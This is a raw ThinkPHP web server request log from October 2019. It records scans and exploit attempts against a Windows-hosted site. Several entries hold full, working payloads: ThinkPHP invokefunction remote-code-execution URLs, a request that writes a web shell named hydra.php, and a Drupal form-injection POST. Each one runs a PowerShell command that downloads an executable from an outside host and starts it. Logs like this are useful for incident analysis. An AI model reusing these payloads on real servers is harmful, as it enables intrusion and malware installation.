[ 2019-10-01T04:08:27+08:00 ] 172.26.170.85 39.98.44.66 GET /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fky.dfg45dfg45.best/download.exe','%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe');start%20%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe [ log ] 39.98.42.52:8008/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fky.dfg45dfg45.best/download.exe','%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe');start%20%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe [运行时间：0.031251s][吞吐率：32.00req/s] [内存消耗：1,987.03kb] [文件加载：39] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'think\\app', 2 => 'invokefunction', ), ) [ info ] [ HEADER ] array ( 'connection' => 'Keep-Alive', 'accept' => '*/*', 'accept-language' => 'zh-cn', 'referer' => 'http://39.98.42.52:8008/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile(\'http://fky.dfg45dfg45.best/download.exe\',\'%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe\');start %SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', 'host' => '39.98.42.52:8008', ) [ info ] [ PARAM ] array ( 'function' => 'call_user_func_array', 'vars' => array ( 0 => 'system', 1 => array ( 0 => 'cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile(\'http://fky.dfg45dfg45.best/download.exe\',\'%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe\');start %SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe', ), ), ) [ info ] [ LANG ] D:\wwwroot\stufees\thinkphp\lang\zh-cn.php [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2019-10-01T04:08:27+08:00 ] 172.26.170.85 39.98.44.66 GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php [ log ] 39.98.42.52:8008/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php [运行时间：0.021485s][吞吐率：46.54req/s] [内存消耗：1,986.45kb] [文件加载：39] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '\\think\\app', 2 => 'invokefunction', ), ) [ info ] [ HEADER ] array ( 'connection' => 'Keep-Alive', 'accept' => '*/*', 'accept-language' => 'zh-cn', 'referer' => 'http://39.98.42.52:8008/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>hydra.php', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', 'host' => '39.98.42.52:8008', ) [ info ] [ PARAM ] array ( 'function' => 'call_user_func_array', 'vars' => array ( 0 => 'system', 1 => array ( 0 => 'echo ^>hydra.php', ), ), ) [ info ] [ LANG ] D:\wwwroot\stufees\thinkphp\lang\zh-cn.php [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2019-10-01T04:08:27+08:00 ] 172.26.170.85 39.98.44.66 GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fky.dfg45dfg45.best/download.exe','%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe');start%20%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe [ log ] 39.98.42.52:8008/public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fky.dfg45dfg45.best/download.exe','%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe');start%20%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe [运行时间：0.020508s][吞吐率：48.76req/s] [内存消耗：1,984.61kb] [文件加载：39] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'public', 1 => 'hydra.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'connection' => 'Keep-Alive', 'accept' => '*/*', 'accept-language' => 'zh-cn', 'referer' => 'http://39.98.42.52:8008/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile(\'http://fky.dfg45dfg45.best/download.exe\',\'%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe\');start %SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', 'host' => '39.98.42.52:8008', ) [ info ] [ PARAM ] array ( 'xcmd' => 'cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile(\'http://fky.dfg45dfg45.best/download.exe\',\'%SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe\');start %SystemRoot%/Temp/jgzgaccvnnmamsy3887.exe', ) [ info ] [ LANG ] D:\wwwroot\stufees\thinkphp\lang\zh-cn.php [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2019-10-01T09:14:09+08:00 ] 172.26.170.85 101.132.32.164 GET / [ log ] 39.98.42.52:8008/ [运行时间：0.027342s][吞吐率：36.57req/s] [内存消耗：2,336.37kb] [文件加载：42] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => '', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0', 'host' => '39.98.42.52:8008', 'connection' => 'Keep-Alive', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] Method [ public method index ] { @@ D:\wwwroot\stufees\application\index\controller\Index.php 8 - 11 } [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2019-10-01T09:14:09+08:00 ] 172.26.170.85 101.132.32.164 GET /admin/index/index.html [ log ] 39.98.42.52:8008/admin/index/index.html [运行时间：0.026365s][吞吐率：37.93req/s] [内存消耗：2,433.65kb] [文件加载：41] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'admin', 1 => 'index', 2 => 'index', ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0', 'host' => '39.98.42.52:8008', 'connection' => 'Keep-Alive', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ SESSION ] INIT array ( 'id' => '', 'var_session_id' => '', 'prefix' => 'think', 'type' => '', 'auto_start' => true, ) [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2019-10-01T11:24:23+08:00 ] 172.26.170.85 198.108.67.48 GET / [ log ] 39.98.42.52:8008/ [运行时间：0.221688s][吞吐率：4.51req/s] [内存消耗：2,335.74kb] [文件加载：42] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => '', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '39.98.42.52:8008', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] Method [ public method index ] { @@ D:\wwwroot\stufees\application\index\controller\Index.php 8 - 11 } [ info ] [ LOG ] INIT File --------------------------------------------------------------- [ 2019-10-01T14:02:26+08:00 ] 172.26.170.85 39.98.72.44 POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax [ log ] 39.98.42.52:8008/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax [运行时间：0.032228s][吞吐率：31.03req/s] [内存消耗：1,986.15kb] [文件加载：39] [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'user', 1 => 'register', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'connection' => 'Keep-Alive', 'accept' => '*/*', 'accept-language' => 'zh-cn', 'referer' => 'http://39.98.42.52:8008/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', 'user-agent' => 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)', 'host' => '39.98.42.52:8008', 'content-type' => 'application/x-www-form-urlencoded; Charset=UTF-8', 'content-length' => '298', ) [ info ] [ PARAM ] array ( 'element_parents' => 'account/mail/#value', 'ajax_form' => '1', '_wrapper_format' => 'drupal_ajax', 'form_id' => 'user_register_form', '_drupal_ajax' => '1', 'mail' => array ( '#post_render' => array ( 0 => 'system', ), '#type' => 'markup', '#markup' => ' powershell (new-object System.Net.WebClient).DownloadFile(\'http://fky.dfg45dfg45.best/download.exe\',\'%SystemRoot%/Temp/scsgpegvxgemida23572.exe\');start %SystemRoot%/Temp/scsgpegvxgemida23572.exe', ), ) [ info ] [ LANG ] D:\wwwroot\stufees\thinkphp\lang\zh-cn.php [ info ] [ LOG ] INIT File ---------------------------------------------------------------